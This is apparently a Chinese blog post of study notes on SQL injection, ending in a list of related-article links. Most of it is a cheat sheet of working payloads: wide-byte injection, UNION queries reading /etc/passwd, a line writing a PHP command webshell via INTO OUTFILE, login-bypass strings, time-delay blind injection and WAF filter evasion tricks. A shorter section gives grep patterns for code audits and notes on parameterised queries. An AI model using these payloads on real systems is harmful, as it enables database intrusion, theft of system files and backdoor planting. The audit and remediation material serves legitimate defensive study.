' //单引号报错,转义

%bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则

UNION ALL SELECT LOAD_FILE('/etc/passwd')-- //读取系统文件

UNION SELECT "<?system ($_REQUEST['cmd'];?>)" INTO OUTFILE "/var/www/html/127.0.0.1"-- // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断

原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack' + 'er 或 hack er //字符型注入条件判断

' and '1'='1 和 ' and '1'='2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在;

#1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞

#2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;-- //字符串转化为整数 看版本

and 1=0/user;-- //字符串转化为整数 看当前数据库用户

1' GROUP BY productid having 1'='1 //枚举所有列

1' and USER not in ('admin') and 1=0/USER and 1'='1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形:

字符型

1' or '1'='1

1') or ('1'='1

value' or '1'='2

value') or ('1'='2

1'and '1'='1

1') and ('1'='1

1' or 'ab'='a'+'b'

1') or ('ab'='a'+'b')

1' or 'ab'='a'b

1') or ('ab'='a'b)

1' or 'ab'='a'||'b

1') or ('ab'='a'||'b

数字型

1+1

3-1

value+0

1 or 1=1

1) or (1=1

value or? 1=2

value) or (1=2

1 and 1=2

1) and (1=2

1 or 'ab'='a'+'b'

1) or ('ab'='a'+'b'

1 or 'ab'='a''b'

1) or? ('ab'='a''b'

1 or 'ab'='a'||'b'

1) or ('ab'='a'||'b'

登陆弱口令

admin'--

admin')--

admin'#

admin')#

1--

1)--

1 or 1=1--

1) or 1=1--

'or '1'='1'--

') or '1'='1'--

-1 and 1=2--

-1) and 1=2--

'and '1'='2'--

') and '1'='2'--

1/comment/

microsoft sql 时间延迟

aspx?id=1; waitfor delay '0:0:5';--

mysql 时间延迟

php?id=1; select benchmark(10000000,encode('hello','mom');--

利用篇

@@version #DBMS版本

@@servername #安装SQL server服务器名称

@@language #当前使用语言

@@spid #当前用户进程ID

11+union+select+null,null,null,null-- 嗅探列数

11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列

#排序方式实现结合 二分法算法实现 可提高效率

#UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user='sa')+WAITFOR+DELAY+'0:0:5'-- mssql判断是否为dba权限

select len(system_user) 获取用户名长度

绕过技术:

1.随机大小写绕过

SeLect

2.URL编码绕过

'%2f%2a/UNION%2f%2a/password%2f%2a/FROM%2f%2a/table_User%2f%2a/...

3.双URL编码绕过

%252f%%252a/UNION%252f%%252a*/...

4.动态查询绕过

Oracle:'SELE'||'ct' 编码后 'SELE'%20'ct'

MS-SQL:'SELE'+'ct' 编码后 'SELE'%2B'ct'

Mysql:'SELE'+'ct' 编码后 'SELE'%2B'ct'

5.ASCII码编码绕过

char()

6.使用空字节

%00' UNION SELECT password FROM table_User WHERE username='admin'--

7.嵌套剥离后的表达式

比如SELECTSELECT,只过滤了其中一个

8.利用截断

单引号或双引号或扩展闭合截断

9.GET,POST方式切换

/**/ 单行注释

--? 多行注释

mysql单行注释符

SELECT 1 /!40119 + 1/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value//or//1=1?? //空格绕过

审计技术

grep -r -n "(mysql|mssql|mysql_db)query(.*\$(GET|POST).*)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#对文件目录遍历,src为路径,php版

grep -r -n "(oci|ora)parse(.*\$(GET|POST).*)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#java版

grep -r -n "preparedStatement(|executeQuery(|executeUpdate(|execute(|addBatch(|executeBatch(" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#C#版

grep -r -n "SqlCommand(|SqlParameter(|OleDbCommand(|OleDbparameter(\OracleCommand(|OracleParameter(|\OdbcCommand(|Odbcparameter" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#查是否存在注入点

grep -i -r -n "sql =.*\"(SELECT|UPDATE|INSERT|DROP)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

注入类型:

1.时间延迟注入

aspx?id=1; waitfor delay '0:0:5';--

分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay '0:0:5';-- 判断返回时间是否延迟了5秒

2.基于错误注入

asp?id=1/is_srvrolemember('sysadmin')

上述构造是利用返回错误,反推构造sql条件

3.基于内容

asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、

利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞:

输入验证,即参数化查询,强制数据类型及字符串长度控制。

数据类型、数据大小、数据范围、数据内容

正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)

sql注释符注入防御_读《SQL注入***与防御》笔记相关推荐

  1. sql注释符注入防御_WAF的SQL注入绕过手段和防御技术

    一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数 ...

  2. pythonsql注入步骤_防止SQL注入解决方案

    SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.对于很多网站都有用户提交表单的端口,提交的数据插入MySQL数据库中,就有可 ...

  3. sql:命名管道管道程序_学习SQL:命名约定

    sql:命名管道管道程序 A naming convention is a set of unwritten rules you should use if you want to increase ...

  4. sql 左联接 全联接_学习SQL:联接多个表

    sql 左联接 全联接 If you want to get something meaningful out of data, you'll almost always need to join m ...

  5. 将sql数据导入mysql数据库_将sql导入mysql数据库

    MYSQL导入导出.sql文件 MYSQL导入导出.sql文件 一.MYSQL的命令行模式的设置:桌面->我的电脑->属性->环境变量->新建->PATH=": ...

  6. sql 时态表的意义_在SQL Server 2016中拉伸时态历史记录表

    sql 时态表的意义 背景 (Background) With the release of Microsoft SQL Server 2016 a lot of new features were ...

  7. server sql 判断是否是当天_判断sql server 是否在开启服务状态

    vb编写的软件,在系统开机时,应用程序会比sqlserver启动快,造成连接不上数据库的错误. 有什么办法可以先判断一下sql server服务的状态,如果没开启先开启服务,在去连接sql服务. 从网 ...

  8. sql 找到最近的值_数据分析——SQL查询(常用函数)

    SQL入门推荐书籍--<SQL必知必会>.猴子的live课程--<从零开始学SQL> [基本SQL查询语句] select 选择输出字段 from 摘自某表 as 取别名(如果 ...

  9. sql根据类别拆分上下级_运用SQL对黑五销售数据进行分析

    数据来源:https://www.kaggle.com/mehdidag/black-friday 提出问题: 有多少名用户在黑五这天购买? 哪个年龄段的人群消费力最高,哪个年龄消费力最低? 不同岁数 ...

最新文章

  1. 芯片组x299是服务器主板吗,最强的酷睿i9只能用它!X299主板首发评测
  2. html页面配置xml文件路径,web.xml与index.html
  3. [EntLib]微软企业库5.0 学习之路——第七步、Cryptographer加密模块简单分析、自定义加密接口及使用—上篇...
  4. 台达变频器s1参数设置_【智】台达变频器计数输入功能接线和参数设置详解
  5. Python爬取大量数据时,如何防止IP被封
  6. 传统家电在智能家居变革的五大优势
  7. select,epoll的比较
  8. spring boot 下使用@ConponentScan注解遇到的问题
  9. Java项目导入eclipse后项目出现JRE System Library [JavaSE-1.8](unbound)
  10. 3. SQL 语句本身的优化(慢查询)
  11. 螃蟹保存方法保存时间_螃蟹吃不完怎么保存?学会这4招,不论是海蟹、河蟹通通都不愁...
  12. jsp + servlet 复习(C01)
  13. golang binding tag
  14. 【独行秀才】macOS Monterey 12.3.1正式版(21E258)
  15. 猫猫回收站教程:在线撸猫~
  16. WPF界面MahApps.Metro之应用
  17. 基于社交网络搜索算法的WSN覆盖优化和工程优化
  18. 华为陈黎芳:已在全球获得50多个5G商业合同
  19. 计算机之父阿兰·图灵传奇的一生
  20. K-Means聚类算法及其python实现(已附上代码至本博客)

热门文章

  1. 使用RMAN对数据文件进行恢复
  2. bzoj 3261 最大异或和【可持久化trie】
  3. 制作首页的显示列表(2017.11.29)
  4. 关于使用百度地图插件的显示行政区域的操作
  5. linux find 命令详解
  6. C#刀那儿特更清晰讲述什么是事件?
  7. crypto在web的使用
  8. javascript简单拖拽效果
  9. tp中自定义跳转页面
  10. 1、linux网络服务实验 用PuTTY连接Linux